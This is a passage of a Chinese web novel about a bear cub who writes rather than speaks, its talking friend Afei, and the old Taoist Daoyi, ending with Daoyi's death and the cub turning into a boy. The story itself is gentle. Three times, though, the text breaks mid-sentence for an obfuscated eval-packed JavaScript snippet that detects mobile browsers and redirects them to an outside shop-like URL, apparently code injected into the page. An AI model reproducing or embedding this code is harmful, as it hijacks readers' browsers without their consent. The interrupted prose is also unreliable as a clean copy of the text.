但它不喜欢写——它的小爪子写字太费劲了,写出来的字歪歪扭扭的,它才不要写呢。它只认,不写。 “抓到了两只!”阿绯得意地翘起尾巴,“一只绿色的,一只褐色的。绿色的那只可好吃了。”它舔了舔嘴,然后跑到黑白前面,回头喊它,“快来,今天竹林的露水特别多,你的竹叶肯定很嫩!” 黑白跟在后面,两个小家伙一前一后,在竹林里钻来钻去。黑白找到一片嫩竹叶,慢慢嚼着。阿绯就在旁边的草丛里扑来扑去,追一只蚱蜢。蚱蜢跳得高,它跳得更高,扑了好几次才扑到,叼着跑到黑白面前炫耀。 黑白看着它,尾巴扫了一下,继续吃它的竹叶。 黑白和阿绯不一样。阿绯会说话,黑白不会。阿绯一开始觉得奇怪,后来就习惯了。黑白写字给它看,它念出来,然后用自己的嘴说话回答。虽然慢,但总算能说上话了。 阿绯识字后,黑白之前在泥土上写字问它:“你为什么会说话?” 阿绯歪着脑袋想了想。 “我也不知道,”它说,“有一天我睡醒就会了。那时候我还很小,什么都不懂。我一个人住在山里,没有爹娘,没有兄弟姐妹。有一天我饿得不行,找了好久找不到吃的,就趴在一个树洞里睡觉。睡了好久好久,醒过来就发现我能听懂风的声音、树的声音,还能说话。” 黑白看着它。阿绯的眼睛亮亮的,但里面有一点它看不懂的东西。 “你爹娘呢?”黑白写。 阿绯摇了摇头。“不知道。从我记事起就是一个人了。”它低下头,舔了舔自己的爪子。“已经过了好几个秋天了。我一个人摘果子,一个人挖洞,一个人看月亮。有时候我会跟蝴蝶说话,蝴蝶不理我。跟小鸟说话,小鸟飞走了。” 它抬起头,看着黑白,“你是第一个能听懂我说话的。” 黑白蹲在那里,看着它的脸。它的鼻子上沾了一点泥土,胡子上挂着一片枯叶。黑白伸出爪子,把它鼻子上的泥土轻轻拨掉。阿绯愣了一下,然后笑得眼睛弯弯的,尾巴在地上扫来扫去。 黑白又在泥土上写:“我也想说话。你能教我吗?我想说话给道一听。” 阿绯看了那几个字,摇了摇头。“我不知道怎么教,我就是突然会的。你也许哪天睡醒了也会了。” 黑白想了想,没有再问。 黑白带阿绯回道观的时候,道一正在院子里晒草药。阿绯跟在黑白脚边,走进院子,先朝道一鞠了个躬——这是它自己学会的,因为它觉得道一是好人。 道一看了它一眼,微微点头。 阿绯就跑到石桌旁边,趴下来,等黑白写完功课。黑 白写字的时候,阿绯就趴在旁边看。黑白在石板上写一个字,它就念一个字。 阿绯不写,它只认。它的小爪子又小又嫩,写字太累了,它才不要。 但它认字认得很快,有时候黑白写了一个复杂的字,它歪着脑袋想一会儿,就能念出来。念完了还得意地看黑白一眼,尾巴翘得高高的。 道一端着茶杯站在屋檐下,看着它们。他没有说话,嘴角微微弯了一下。 日子久了,阿绯学会了越来越多的字。它和黑白的交流越来越顺畅了。黑白在地上写一行字,阿绯念出来,然后用嘴说话回答。两个小家伙就这样你写我说,在泥土上、在雪地上、在石板地上,写满了黑白的话,填满了阿绯的声音。 阿绯对什么都好奇。它好奇道一的刨子怎么能在木头上刨出一卷一卷的花,好奇道一的锯子怎么能把木板锯得整整齐齐,好奇道一的药杵怎么能把干草捣成粉末。它更好奇黑白身上那个斜挎小布袋里的圆球。 有一天,黑白在院子里帮道一捡刨花,阿绯蹲在旁边看。 黑白跑过去叼刨花的时候,布袋晃了一下,里面的圆球滚了出来。阿绯眼睛一亮,扑过去用爪子拨了一下,球滚了一圈。它又拨了一下,球又滚了一圈。 “这是什么?你之前都不给我看”阿绯问。 黑白走过去,用爪子把球拨回来,装进布袋里。它看了看阿绯,又看了看球。然后它从布袋里把球拿出来,放在阿绯面前。 阿绯愣了一下。“给我玩?” 黑白点点头。 阿绯高兴坏了,用爪子拨着球在院子里跑来跑去。球滚到墙根,它追到墙根。球滚到石桌底下,它钻到石桌底下。它追着球跑了一圈又一圈,尾巴翘得高高的,耳朵在风里飘着。黑白蹲在旁边看着,偶尔帮它把球拨回来。 道一从屋里出来,看见阿绯在玩球,看了看黑白。黑白抬起头看着他,尾巴在地上扫了一下。道一没有说什么,转身进屋了。 阿绯玩了很久,玩累了,趴在球旁边喘气。它用爪子把球拨回黑白面前,然后把下巴搁在地上。 “这个球好好玩,你天天都带着它吗?” 黑白点点头,把球装回布袋里。 那个球对阿绯没有用。它玩了很久,什么也没感受道。 黑白和阿绯在一起的时候,也很快乐。它们一起在竹林里——黑白吃竹叶,阿绯抓虫子。一起在溪边喝水,一起在山坡上追蝴蝶。阿绯跑得快,追上了就用爪子拍一下,蝴蝶飞走了,它又追。黑白跑得慢,就在后面慢慢跟着,看阿绯在草地上蹦来蹦去。 有时候它们也有矛盾。阿绯想玩球,黑白想写字。阿绯就蹲在石板旁边,用爪子按住黑白的爪子,不让它写。黑白看着它,不动。阿绯又用鼻子拱了拱黑白的脸,黑白还是不动。 阿绯最后只好自己跑去找道一,道一摸了摸它的头,它就不闹了。 但大多数时候,它们很好。阿绯每天在竹林里等黑白,等它吃完竹叶,等它写完功课,等它做完道一教的活儿。 然后两个一起在院子里晒太阳,一起趴在道一脚边听念书,一起叼着刨花往篮子里跑。 有时候黑白去山上给道一捡柴火,阿绯也跟着去。黑白叼大根的枯枝,阿绯叼小根的细枝。它叼不了太重的东西,但它一趟一趟地跑,跑得比黑白还快。它把细枝堆在柴房门口,堆得整整齐齐的,然后蹲在旁边喘气。 道一从屋里出来,看见柴房门口堆着的柴,又看了看阿绯。阿绯正蹲在那里,舌头伸出来喘气,眼睛亮亮地看着他。他走过去,蹲下来,摸了摸它的头。 “辛苦了。”他说。 阿绯的耳朵往后抿了一下,整个人趴在地上,幸福地眯起了眼睛。 道一的身体不如从前了。 那场病好了以后,但他知道自己老了。 晚上睡觉的时候,膝盖会疼,翻来覆去睡不着。他从来不在黑白面前说什么,但黑白能感觉到。 它感觉到道一起床的时间比以前晚了一点,感觉到他走路的时候比以前慢了一点,感觉到他摸它头的时候,手比以前更瘦了一点。 道一也知道黑白感觉到了。这只小熊什么都不说,但它会在他不舒服的时候跑过来,把脑袋搁在他的膝盖上,安安静静地陪着他。 会在他在院子里坐着的时候,把下巴搁在他的脚背上,一动不动。会在他从外面回来的时候,从院子里跑到门口接他,嘴里叼着一根竹枝放在他脚边。 他开始教黑白更多的东西。 他教黑白认更多的字,读更多的书。他教黑白怎么辨别草药——哪种能治咳嗽,哪种能止疼,哪种能退热。 黑白学得很认真。但是它心里闷闷的,很难受。 有一天,道一在厨房里做窝窝头。黑白蹲在门槛上,阿绯蹲在黑白旁边,两个脑袋挤在一起往里看。 “黑白,”道一叫了一声,“过来。” 黑白从门槛上跳下来,走进厨房。道一指了指案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446832|201100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板上的面团。 “今天你来做。” 黑白看了看那团面,又看了看自己的爪子。它的爪子毛茸茸的,肉嘟嘟的,指甲短短的。 它把爪子伸进面团里,面糊糊的,粘在毛上,糊了一爪子。它甩了甩,面糊甩到了墙上,又糊了一脸。 阿绯在门口笑得直打滚。 道一没有笑。他把黑白的爪子从面团里拔出来,揪下一小块面团,放在案板上。 “用爪子揉,”他说,“像这样。”他用手揉了一小块,搓成圆球。 黑白学着他的样子,用两只爪子按着面团,来回揉。揉了好一会儿,面团从糊状慢慢变成了一个不太规则的圆球。它把圆球捧在爪子里,给道一看。 道一点点头,放在蒸笼里。“再做一个。” 黑白又揪了一小块,这次揉得快了一些。它的爪子上全是面,案板上也全是面,但它不放弃。一个又一个,蒸笼里渐渐摆满了大大小小、歪歪扭扭的窝窝头。 。阿绯蹲在旁边看着,忍不住也跳进来,用爪子按了一个小小的面团。它按了半天,按出一个扁扁的饼,自己也觉得不好意思,用鼻子拱到角落里。 一看了看阿绯那个扁饼,捡起来放进蒸笼里。“也算一个。” 阿绯的尾巴翘了一下。 道一盖上蒸笼,然后蹲下来,指着灶膛。“还要生火。” 他从灶台旁边拿起火折子,打开,吹了一下,火折子亮了起来。他把火折子伸进灶膛里,点燃了干草和细枝。火苗慢慢窜起来,噼噼啪啪地响。 “看好了,”他说,“先放细的,容易着。等火旺了,再放粗的。” 黑白蹲在灶膛前面,眼睛盯着火苗。阿绯也蹲在旁边,眼睛盯着火苗。两个脑袋凑在一起,火光映在它们的眼睛里,一闪一闪的。 “你来试试。”道一把火折子递给黑白。 黑白用爪子接过火折子——它的爪子太肉,捏不住,火折子掉了两次。它用嘴叼起来,学着道一的样子吹了一下,火折子灭了。它又吹了一下,没亮。 道一接过火折子,重新打着,然后握着黑白的爪子,帮它伸进灶膛里。火苗舔上干草,烧了起来。黑白看着自己点燃的火,尾巴在地上扫了一下。 “你来。”道一对阿绯说。 阿绯跳过来,用嘴叼住火折子,道一帮它打着。它学着黑白的动作,把火折子伸进灶膛里。它太矮了,够不着,黑白用脑袋拱了拱它的屁股,把它拱高了一点。 火点着了,阿绯赶紧退出来,尾巴上沾了一点火星,它回头一看,吓得蹦了起来。黑白帮它把尾巴上的火星拍掉,两个都松了一口气。 灶膛里的火越烧越旺,锅里的水咕嘟咕嘟地开了。蒸汽从锅盖边上冒出来,厨房里弥漫着杂粮面的香味。黑白的鼻子一抽一抽的,阿绯的鼻子也一抽一抽的。 道一坐在灶台旁边的矮凳上,看着它们。“等一刻钟。”他说。 黑白和阿绯蹲在灶台前,眼睛盯着蒸笼,一动不动。过了好久——其实还不到一刻钟——阿绯忍不住了,小声问:“好了吗?”道一摇了摇头。 又过了一阵,黑白也忍不住了,用爪子指了指蒸笼。道一还是摇头。 终于,道一站起来,掀开锅盖。蒸汽涌出来,白茫茫的,热腾腾的。等蒸汽散了一些,黑白看见了蒸笼里的窝窝头——那些歪歪扭扭的、大大小小的、奇形怪状的东西,现在变成了热乎乎的、香喷喷的窝窝头。 道一用筷子夹出一个,放在碟子里晾了晾。黑白凑过去闻了闻,阿绯也凑过去闻了闻。道一掰了一小块,放进嘴里,嚼了嚼。黑白看着他,阿绯也看着他。他的脸上没什么表情,嚼了一会儿,咽下去。 “能吃。”他说。把其他的也放进盘子里。 黑白和阿绯同时扑向碟子。黑白叼起一个,阿绯叼起自己的那个小饼。窝窝头还有点烫,两个都一边吹气一边嚼。黑白的那个虽然样子丑,但嚼在嘴里,甜的,软的,和道一做的一个味道。它的眼睛眯了起来,尾巴在身后扫来扫去。阿绯也吃得高兴。 “以后,”道一说,“我不在的时候,你自己做。” 黑白难过地看着他,走到他手边,把头塞进他手中。 阿绯也知道道一说的是什么意思,道一都那么老了。可是道一那么好,它也好难过,它也把自己头挤进道一的手里。 18. 第十八章:黑白的眼泪 早晨做完功课,黑白在石板上写:“阿绯能住在道观吗?” 它写完了,抬起头看着阿绯和道一。 阿绯正蹲在旁边,看见了那几个字。它摇了摇头。 “我不愿意。”阿绯说,“我还是更喜欢住在山里。”它看了看道一,又看了看黑白。 “道观很好,道一很好,你很好。但是我在山里住惯了。我有我的树洞,有我的果子,有月亮照着我睡觉。我在山里自在。” 它顿了顿,又补充道:“而且我不想给道一添麻烦。他年纪大了,身体又不好。我住在山里,白天来玩,晚上回去,这样最好。” 道一看着阿绯,嘴角动了一下。他没有说话,只是伸手摸了摸阿绯的头。阿绯把脑袋在他手心里蹭了蹭,然后跑回黑白身边,用尾巴扫了扫黑白的脸。 “我又不是不来了,”它说,“我每天都在竹林里等你。你吃完竹叶,我们就一起玩。” 黑白看着它,低下头,在石板上写了一个字。 “好。” 那天晚上,阿绯回山里去了。它走的时候,在院门口回头看了一眼。黑白蹲在门槛上,看着它。阿绯朝它摇了摇尾巴,然后转身跑进了竹林。 黑白在门槛上蹲了一会儿,然后跳下来,回到屋里,跳进竹筐里。道一正在灯下看书,翻了一页。 “它走了?”道一问。 黑白把下巴搁在筐沿上,点了点头。 道一暗暗叹了一口气,摸摸黑白的头,吹灭了灯。 道一又病了。这一次不重,就是咳嗽浑身没力气。但拖拖拉拉的,好些日子也不见好。早上起来咳一阵,晚上躺下又咳一阵,咳得整个人弓着背,像是要把肺里的什么东西咳出来。 黑白听见就马上从竹筐里跳出来,蹲在床边,把下巴搁在床沿上,看着道一的脸。道一的脸比平时白,嘴唇干干的,眼睛闭着,眉头微微皱着。黑白没有叫,就安静地蹲在那里,看着他的脸一起一伏地呼吸。 过了好久,道一睁开眼睛,看见床沿上那个毛茸茸的脑袋。“没事。”他说,声音沙哑。他撑着床板坐起来,黑白连忙退后两步,让他下床。道一穿好衣服,走到厨房,生了火,蒸了窝窝头。 他做这些事情的时候比平时慢了很多,每做一会儿就要停下来喘几口气。黑白要帮他,他也不乐意。 黑白蹲在门槛上,看着他的背影,尾巴卷在屁股下面,一动不动。阿绯来了,蹲在黑白旁边,小声说:“道一怎么了?” 黑白没有回答,只是看着道一。 道一的病拖了半个月。有时候好了些,能到院子里走一走,扫扫地,晒晒太阳。过两天又咳起来,只能躺在屋里,裹着被子,手里捧着一碗热水。 黑白每天都守在他床边,阿绯也每天都来,两个小家伙一左一右,一个趴在床边的竹筐里,一个趴在地上的小垫子上。 道一咳嗽的时候,黑白就把脑袋搁在床沿上,阿绯就把前爪搭在床沿上,两个都看着他。 道一咳完了,伸出手,摸摸黑白的头,又摸摸阿绯的头。“没事,”他说,“老毛病了。” 阿绯不知道什么是“老毛病”,但它看见道一脸上的皱纹比以前更深了,眼睛比以前更凹了,手背上的青筋一根一根的,像蚯蚓一样鼓起来。它没有说话,只是把脑袋在道一的手心里蹭了蹭。 黑白把下巴搁在床沿上,一动不动地看了道一很久。 病好之后,道一开始修整道观。他先是把漏雨的瓦片一块一块地换掉。以前他也修过屋顶,但只是补一补漏的地方,哪里漏补哪里。这一次不一样,他把整个屋顶都翻了一遍,该换的瓦片全换了,该补的缝全补了。 黑白蹲在院子里仰着头看他,阿绯蹲在黑白旁边仰着头看他。道一在屋顶上忙了一整天,下来的时候衣服上全是灰,膝盖上的补丁又磨破了一个洞。 第二天,他又开始修院墙。院墙塌了一角,他用石头一块一块地垒起来,和了泥,把缝隙糊得严严实实。他把院墙上松动的石头一块一块地按紧,把墙根的杂草一根一根地拔掉。修完了院墙,他又修了柴房的顶,修了厨房的门,修了前殿的窗。 阿绯蹲在旁边看,小声跟黑白说:“道一好厉害。” 黑白没有说话。它知道道一为什么要把这些都修好。 道一以前说过,屋顶漏雨了要自己爬上去补,院墙塌了要自己垒。他教过它怎么和泥,怎么补缝,怎么把石头垒整齐。但它从来没有自己做过。道一也知道它没有自己做过。所以他把这些都做了一遍,让它看。 黑白跟着道一,从屋顶看到院墙,从院墙看到柴房,从柴房看到厨房。它看着道一的手在石头上磨破了皮,用布条缠一缠继续干。 看着他的腰弯不下去,就蹲着干活,蹲久了腿麻了,撑着墙慢慢站起来。它跟在后面,帮他把散落的石头叼到墙根,帮他把和好的泥用爪子推到他的手边。 道一不说话,它也不说话。 道观修好之后,道一开始处理粮食。 他把道观里剩下的钱财找出来,下山了,没带着黑白。山下,不是黑白这头小熊该去的地方。 道一走了很远的路,到山下的村子里,用那些钱财换了更多的杂粮面、干菜、盐巴。 他装了重物的担子回来,一步一步地爬上山,年纪大了,没力气了,肩膀被扁担压得通红。 道一把换来的粮食分门别类地收好。杂粮面放在厨房的大缸里,干菜挂在屋檐下的绳子上,盐巴装在罐子里放在灶台边上。 他做这些事情的时候很慢,每一样东西都放得整整齐齐,像是以后不会再动了。 黑白蹲在厨房门口,看着他把粮食一缸一缸地码好,看着他把盐罐放在灶台边最顺手的地方。 “面在这里,”道一说,“菜在这里,盐在这里。”他指给黑白看。黑白的目光跟着他的手指,从面缸到干菜,从干菜到盐罐。它记住了。 道一又带它走到院子角落的柴房,指着堆得整整齐齐的柴火。“柴在这里,够烧一个冬天。”黑白看了看那些柴火,又看了看道一。那些柴火是它和阿绯一趟一趟从山上叼回来的。它以为只是用来烧火做饭的,现在才知道,道一早就打算好了。 阿绯蹲在旁边,看看道一,又看看黑白。它不太明白为什么要交代这些,但它看见黑白的眼睛湿湿的,就没有说话。 那天晚上,道一坐在灯下,黑白趴在竹筐里。道一没有看书,也没有念经,只是坐着。灯芯噼啪响了一声,火光跳了一下,他的影子在墙上晃了晃。 “黑白。”他叫了一声。黑白从竹筐里探出脑袋,看着他。 “我这一辈子,”道一说,“没有什么放不下的。年轻时候放不下的东西,后来都放下了。放不下的朋友, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446833|201100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都走了。放不下的恩怨,都淡了。放不下的道观,有你接着。只是你一只小熊要避着点人,人心......”他的声音很轻,像风吹过竹林。 黑白从竹筐里站起来,跳到地上,走到道一脚边,把下巴搁在他的膝盖上。道一低头看着它,伸手摸着它的头。他的手比以前更瘦了,骨节突出,指尖凉凉的。 “你刚来的时候,”道一说,“这么小一团,翻墙进来,吓得发抖。第一次吃窝窝头,吃了两块,留了一块。我那时候想,这只小熊有点意思。”他的嘴角弯了一下,像是在笑,又像不是。 “后来你写字,写‘人’字,歪歪扭扭的。你在雪地里写‘路’、写‘走’、写‘知’、写‘家’。你写‘道一,好’。”他的声音低了下去,停了一会儿。 黑白的眼泪掉下来了,眼泪从眼眶里涌出来,顺着鼻梁往下淌,滴在道一的膝盖上。 它没有发出任何声音,只是把下巴搁在道一的膝盖上,一动不动地看着他。 道一的手在黑白的头上停了一下。“你哭什么?”他问。 黑白没有回答。它把脑袋从道一膝盖上抬起来,走到他手边,把脸埋进他的手心里。道一感觉到手心里湿湿的,暖暖的。他没有说话,也没有把手抽回来。 他就那样坐着,让黑白把脸埋在他手心里,让它哭了很久。 灯光下那一人一熊的影子叠在一起。 过了很久,黑白从道一的手心里抬起头。它的眼睛红红的,脸上的毛湿了一片,贴在脸上,看起来狼狈极了。它用爪子擦了擦脸,然后退后两步,蹲在地上,仰着头看着道一。 它的眼睛里有泪光,也有别的什么——是认真,是听话,是不舍得,但它在听。 道一看着它。 “好了,”道一说,“睡吧。” 黑白没有动,还蹲在那里看着他。道一伸出手,又摸了摸它的头。“睡吧。”他说。 黑白没有走回竹筐里,而是爬上道一的床趴下来,看着道一。 道一吹了灯,屋子里黑了。 抬手搂住怀里暖烘烘的小熊,慢慢睡着了。 第二天早上,黑白从床上跳下来的时候,道一已经起来了。他在厨房里做窝窝头,灶膛里的火烧得旺旺的,锅里的水咕嘟咕嘟地开着。 黑白蹲在门槛上看着他的背影——和昨天一样,和前天一样,和它第一天来的时候一样。他的背还是弯的,手还是瘦的,动作还是那么慢。但他还在。他还在做窝窝头,还在烧水,还在厨房里忙。 只是不知道这样珍惜的日子还有多久。 黑白看了一会儿,跑进厨房,蹲在灶台旁边。道一看了它一眼,没有说话,从蒸笼里夹出一个窝窝头,晾了晾,放在它面前。黑白低下头,吃了一口。和每一天一样。 阿绯来的时候,黑白已经在院子里写功课了。阿绯跑到道一面前,仰着头看他。 道一蹲下来,摸了摸它的头。“今天吃什么了?”他问。 阿绯说:“抓了一只蚂蚱,可肥了。”道一嘴角弯了一下。阿绯又跑到黑白身边,看见它写的字。 今天写的是“道一好”三个字,写了满满一行。 “黑白,”阿绯小声说,“你还好吗?” 黑白停下爪子,在石板上写了一个字。“好。” 写完了,它又低下头,继续写。 19. 第十九章:它想他 道一的身体突然情转急下,这一次再也没有痊愈。 道一去世那天,是个晴天。 院子里的老树落了大半叶子,光秃秃的枝丫伸向灰白的天。墙根的兰草枯了,黄黄的,耷拉着。 黑白蹲在道一床边,把下巴搁在床沿上,看着他。道一已经躺了好几天了,不怎么吃东西,不怎么说话,只是躺着,有时候睁开眼睛看看黑白,有时候又闭上。 阿绯也趴在旁边的小垫子上,两个小家伙都安安静静的。 道一醒来的时候,天刚蒙蒙亮。他撑着床板坐起来,靠在床头,喘了好几口气。黑白抬起头,看着他。道一伸出手,摸了摸它的头。他的手很凉,指尖没有多少力气,搭在黑白耳朵上,轻轻的,像一片枯叶。 “黑白,”他说,声音很低,“我跟之前你说的话,你都记住了吗?” 黑白点了点头。它记住了。他说的每一句话,它都记住了。 修屋顶要先用泥和草搅在一起,糊在裂缝上,再用木板压平。和泥的时候水不能太多,太多就稀了,挂不住。院墙的石头要挑大的放在底下,小的塞缝,一层一层地垒,不能着急。粮食放在厨房的大缸里,干菜挂在屋檐下,盐巴在灶台边上的罐子里。柴房的柴够烧一个冬天,省着点用能烧到开春。后山的竹子不要砍太狠,留几根母竹,明年还会发笋。 它都记住了。 “还有,”道一说,“以后见了人,留个心眼。不是所有的人都像赵员外那样。有的人笑,眼睛不笑。你以前写过这句话,你还记得吗?” 黑白又点了点头。 它记得。它写过的字,说过的道理,都是他教的。 “你看人比我准,”道一说,“但你还小。你还不知道人心可以有多坏。以后一个人了,不要轻易信人。能躲就躲,能退就退。这个道观,能守就守,守不住了就回山里去。” 黑白的眼睛湿了。它把下巴从床沿上抬起来,把脸埋进道一的手心里。 道一感觉到手心里湿湿的,暖暖的。他没有把手抽回来。 “四十年前,”道一说,“我闯荡江湖,有过朋友,有过仇人,有过放不下的恩怨。那时候年轻,觉得什么都能争,什么都能赢。后来朋友死了,仇人散了,恩怨也淡了。我带着那件东西躲到这里,一躲就是四十年。四十年来,我想过很多事情,恨过很多人。现在什么都不恨了,什么都不想了。我只在乎你。” 他停了一下,喘了一口气。 “你来了以后,这道观才有了生气。你写字,你捡柴,你叼竹枝放在我脚边。你每天吃两块窝窝头,留一块。我知道你为什么留,我知道你心里有我。”他的声音越来越低,“这就够了。” 黑白把脸从他手心里抬起来,看着他。 道一也看着它。他的眼睛浑浊了,但里面还有光。那光照在黑白身上,暖暖的,像很多年前它第一次翻墙进来,他蹲在屋檐下看它的那个眼神。 黑白忽然想起了什么。它从床沿上跳下来,转身就往外跑。 阿绯吓了一跳,跟在后面喊:“黑白!你去哪儿?” 黑白没有回头,它跑出屋子,跑出院子,跑上那条它每天走的小路,跑向竹林后面的山坡。 阿绯跟在后面,跑得上气不接下气。 黑白跑到了那棵矮树前面。 树还在。树干细细的,叶子绿绿的,和几年前一样。但它上面光秃秃的,什么都没有。黑白站在树前面,仰着头看了很久。没有果子,一颗都没有。 它记得当年它吃了三颗,没吃完,但是没有了。 它把鼻子凑近树干,使劲地闻,闻到了果子的味道——很淡,很淡,像是很久以前留下的。它围着树转了一圈,又转了一圈,什么都没有。 它蹲下来,用爪子在树根周围的泥土里扒了扒,只有泥土和落叶。没有果子。什么都没有。 黑白蹲在树旁边,低着脑袋,一动不动。 阿绯追上来,喘着气,看见黑白蹲在树前面。它也看见了那棵树,看见了树上光秃秃的,什么都没有。 它忽然愣住了。 它想起来了,很久以前,它还很小的时候,一个人在这片山里游荡。有一天它在这棵树上看见红果子,红红的,亮亮的,闻起来香极了。它把它吃了。吃完以后睡了很久,醒来以后就会说话了。 它一直不知道为什么,现在它明白了。 “黑白……”阿绯的声音很小,小得几乎听不见,“那果子……是我吃的。” 黑白没有动,还是蹲在那里,低着头。 “我那时候不知道,”阿绯说,“我不知道那是你的,我不知道那能救人。我只是饿了,看见一颗果子就吃了。黑白,对不起……”它的声音发抖,眼泪从眼眶里滚出来,滴在地上。 黑白转过头,看着阿绯。 阿绯哭着,鼻子一抽一抽的,眼泪把脸上的毛打湿了,看起来又狼狈又可怜。 黑白伸出爪子,轻轻按在阿绯的头上,按了一下,在地上写道“不是我的。” 然后站起来,往山下走。 阿绯跟在后面,一路走一路哭。“黑白,你怪我吗?……” 黑白没有回头,也没有停下,它怕来不及,不敢耽搁。 它跑回院子,走回屋里,走到道一床边,把下巴搁在床沿上。 比划道:“果子没有了。” 道一看着它蕴藏难过的眼睛,什么都明白了。 “没有就没有吧。”道一说,声音平静,像是在说一件很平常的事。 “世间万物,都有缘分。那果子与你有缘,所以你吃了它,开了智。与阿绯有缘,所以它吃了剩下的,会说话。与我没有缘分,所以它不在我该走的时候出现。这不是谁的错,也不是谁欠谁的。” 黑白的眼泪掉下来了。 “不要怪阿绯,”道一说,“它也不知道。它吃了那果子,才能遇见你,才能陪着你。这也许是好事。” 黑白摇了摇头。它不怪阿绯,它从来没有怪过阿绯。它只怪自己。怪自己无能,怪自己救不了他。它从山里来,遇见他,吃了果子开了智,学了字,有了家。他教它一切,给了它一切,它却什么都给不了他。 它把脸埋进道一的手心里,哭得浑身发抖。 道一摸着它的头,手指从耳朵后面滑到脖子,一下一下的。 “世间总是会有一死的,”他说,“早几年,晚几年,都一样。我活了这么大岁数,够了。遇见了你,够了。” 黑白哭得更厉害了。它不想听这些。它不想够。 它想他活着,想他明天还在厨房里做窝窝头,想他还在院子里扫地,想他还在灯下看书,想他还在屋檐下端着茶杯看它写字。它想每天早上从竹筐里跳出来的时候,他已经在厨房里了。想每天写完功课的时候,他站在旁边点点头。想每天把竹枝放在他脚边的时候,他说“收了”。 它想这些一直一直都有,不会停。 它心里那股悲伤像水一样涌上来,堵在胸口,堵得它喘不过气。那股气越堵越多,越堵越满,满到它觉得自己的身体要炸开了。 它趴在床沿上,浑身发抖,从爪子一直抖到耳朵尖。它不知道发生了什么,它只觉得身体里有什么东西在冲撞,在翻涌,在撕扯。 那个灵宝小球在布袋里剧烈地晃动,发出嗡嗡的声音。一股暖流从小球里涌出来,顺着它的身体往上冲,冲到头顶,冲到四肢,冲到每一根毛发。 白光从它身上亮起来,越来越亮,亮得阿绯睁不开眼睛,亮得道一眯起了眼。白光中,它的身体在变化。爪子变长了,变细了,变成了手指。身体变高了,变直了,变成了人的身体。毛褪去了,露出白净的皮肤。黑白分明的毛色变成了一头乌黑的头发,披在肩上。脸上的轮廓也变了,从圆圆的熊脸变成了少年的脸。 白光散去的时候,一个十二三岁的少年跪在床边——唇红齿白,眉清目秀,像三清座下捧着经卷的童子。 他抬起头,看着道一。他的眼睛和以前一样,黑亮亮的,圆溜溜的,里面映着道一的影子。 阿绯蹲在旁边,嘴巴张得老大,半天合不拢。 道一看着那个少年,努力睁开眼睛仔细的看着。他的眼睛里有光,那光很亮,比他病了很久以来的任何一天都亮。他的嘴角慢慢地、慢慢地弯了上去,弯成一个笑。 “和我想的一样。”他说。声音很轻,却带着高兴。 少年的眼泪流下来了。他张了张嘴,喉咙里发出一个声音——含混的,沙哑的,像是很久很久没有用过的东西突然被拿起来了。他试了一次,又试了一次。第三次的时候,那个声音变成了一个字。 “道……” 他又试了一次。“道一。” 他的声音本该是清脆的,却在极致的难过中变得沙哑。 “道一,”他又叫了一声,“道一,道一。” 他一遍一遍地叫着,像是要把这些年没叫过的都补上。道一听着,笑着,眼泪从眼角滑下来,顺着皱纹的沟壑往下淌。 “原还担心你只是一只小熊,”道一说,“在人世间生活有诸多不便。现在你已化形了,我心中的不放心,便放下了一半了。剩下的那一半,我就带走了。日后在地底下,也能思念着你。” 少年的眼泪止不住了,他扑在床边,把脸埋在道一身上。 但这一次,他哭出了声音。呜呜咽咽的,他哭得上气不接下气,肩膀一耸一耸的,整个人趴在那里,哭得浑身发抖。 道一的手在他头上轻轻摸着,一下,一下,又一下。那只手越来越轻,越来越慢。最后一次,它停在少年的头发上,不动了。 少年抬起头,看见道一的眼睛闭上了。他的脸上还带着那个笑,眼角还有一滴泪,没有干。 “道一?”少年叫了一声。 没有回答。 “道一?”又叫了一声。 还是没有回答。 他知道不会再有了。他跪在床边,看着道一的脸。 阿绯也蹲在旁边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446834|201100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看着道一的脸,眼泪一滴一滴地掉。 少年伸出手,把道一眼角那滴泪轻轻擦掉。他的手指碰到道一的皮肤,凉凉的,和以前不一样了。他把手收回来,放在膝盖上,低着头,不出声了。 阿绯从垫子上站起来,走到少年身边,用脑袋蹭了蹭他的腿。少年没有动,还是低着头,跪在那里。 过了很久,天黑了。月亮从窗户纸透进来,照在少年的脸上,照在道一的脸上。 第二天,少年穿上道一放在柜子里的道袍,头发也学着道一用木簪挽在头顶,跟身上的衣服一样松松垮垮。 在竹林里选了一个地方。那地方在竹林深处,几棵老竹子围成一个半圆,中间有一块空地。 从那里可以看见道观的屋顶,灰色的瓦片在竹叶间若隐若现。再往远看,能看见山下的路,弯弯曲曲的,像一条细线,一直延伸到看不见的地方。 